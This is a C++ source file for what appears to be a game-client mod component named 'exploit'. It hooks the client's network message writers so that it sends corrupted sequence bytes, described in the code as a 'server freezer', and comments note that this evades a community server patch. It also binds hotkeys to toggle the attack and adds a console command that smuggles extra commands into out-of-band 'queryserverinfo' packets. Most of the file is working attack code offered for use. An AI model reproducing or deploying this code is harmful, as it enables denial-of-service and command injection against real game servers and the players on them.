#include #include "loader/component_loader.hpp" #include #include "command.hpp" #include "key_catcher.hpp" #include "console.hpp" namespace exploit { game::dvar_t* cl_exploit; /* * void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3) * A brief description of data: the first few bytes contain information from * clientConnection_t structure Offset 0: ServerID Size : 1 Offset 1: * serverMessageSequence Size: 4 Offset 5: serverCommandSequence Size: 4 One * clean way of sending invalid data to the server is to hook the functions * that write the info to the packet Credit: * https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable */ /* * On the server side the msg_t structure processed as follows: * The first 4 bytes are read but not processed (offset 0) * The following 2 bytes are read but not processed (offset 4) * The following 1 byte is read and corresponds to the client_t.serverId (offset * 6) The following 4 bytes are read and correspond to the * client_t.messageAcknowledge (offset 7) The following 4 bytes are read and * correspond to the client_t.reliableAcknowledge (offset 11) */ /** * MSG_WriteLong stub which writes clc.serverMessageSequence. * @param[out] msg The message to write to. * @param[in] data The data to modify */ void write_message_sequence(game::msg_t* msg, int data) { if (msg->maxsize - static_cast(msg->cursize) < sizeof(int)) { msg->overflowed = TRUE; return; } if (cl_exploit->current.enabled) { data = (data & 0xFFFFFF00) | 0xAAu; } auto* dest = reinterpret_cast(&msg->data[msg->cursize]); *dest = data; msg->cursize += sizeof(int); } /** * MSG_WriteLong stub which writes clc.serverCommandSequence * Tekno gods will check in their Netchan_Process stub this byte is 0. If it is * not 0 it will trigger their patch. * @param[out] msg The message to write to. * @param[in] data The data to modify */ void write_command_sequence(game::msg_t* msg, int data) { if (msg->maxsize - static_cast(msg->cursize) < sizeof(int)) { msg->overflowed = TRUE; return; } if (cl_exploit->current.enabled) { data = (data & 0x00FFFFFF) | (0x80u << 24); } auto* dest = reinterpret_cast(&msg->data[msg->cursize]); *dest = data; msg->cursize += sizeof(int); } class component final : public component_interface { public: void post_unpack() override { cl_exploit = game::Dvar_RegisterBool("cl_exploit", false, game::DVAR_NONE, "Enable server freezer"); add_exploit_commands(); add_key_hooks(); utils::hook(0x420B76, HOOK_CAST(write_message_sequence), HOOK_CALL) .install() // hook* ->quick(); utils::hook(0x420B86, HOOK_CAST(write_command_sequence), HOOK_CALL) .install() // hook* ->quick(); } private: static void add_key_hooks() { key_catcher::on_key_press( "O", []([[maybe_unused]] const game::LocalClientNum_t& local_client) { game::Dvar_SetBool(cl_exploit, true); console::info("Enabled cl_exploit"); }); key_catcher::on_key_press( "L", []([[maybe_unused]] const game::LocalClientNum_t& local_client) { game::Dvar_SetBool(cl_exploit, false); console::info("Disabled cl_exploit"); }); key_catcher::on_key_press( "K", []([[maybe_unused]] const game::LocalClientNum_t& local_client) { command::execute("disconnect"); }); } static void add_exploit_commands() { command::add( "sendCommand", []([[maybe_unused]] const command::params& params) { if (params.size() < 2) return; const auto cmd = std::format("queryserverinfo ;{}", params.join(1)); console::info("Sending OOB packet {}", cmd); game::NET_OutOfBandPrint(game::NS_SERVER, game::localClientConnection->serverAddress, cmd.data()); }); } }; } // namespace exploit REGISTER_COMPONENT(exploit::component)